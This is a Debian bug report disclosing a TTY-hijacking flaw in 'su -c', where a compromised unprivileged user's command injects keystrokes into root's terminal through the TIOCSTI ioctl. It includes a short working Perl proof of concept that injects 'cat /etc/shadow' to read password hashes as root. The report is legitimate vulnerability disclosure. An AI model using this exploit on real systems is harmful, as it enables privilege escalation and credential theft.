Package: login Version: 1:4.1.4.2+svn3283-2+squeeze1 Severity: critical After investigating why RedHat have a different behavior regarding "su -c" I found out that there was a patch in RedHat to prevent tty hijacking when using "su -c".
What makes the hijacking possible is that "su -c" still gives the command a controlling tty, which means it has ioctl access to /dev/tty. This means it can send things to the tty input buffer, which will be read just after su ends. The original report (with patch) on RedHat (from 2005?!?!?!) is: https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=173008 A very simple exploit follows (Perl code) ____BEGIN_CODE____ #!/usr/bin/perl require "sys/ioctl.ph"; open my $tty_fh, '<', '/dev/tty' or die $!; foreach my $c (split //, 'cat /etc/shadow'.$/) { ioctl($tty_fh, &TIOCSTI, $c); } ____END_CODE____ The scenario is: Root runs a command as a less priviledged user with "su -c", if the user was compromised, the script will be able to run commands as root by injecting keystrokes on the terminal. -- System Information: Debian Release: 6.0.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.32-5-686 (SMP w/1 CPU core) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages login depends on: ii libc6 2.11.2-10 Embedded GNU C Library: Shared lib ii libpam-modules 1.1.1-6.1 Pluggable Authentication Modules f ii libpam-runtime 1.1.1-6.1 Runtime support for the PAM librar ii libpam0g 1.1.1-6.1 Pluggable Authentication Modules l login recommends no packages. login suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to [email protected] with a subject of "unsubscribe". Trouble? Contact [email protected]
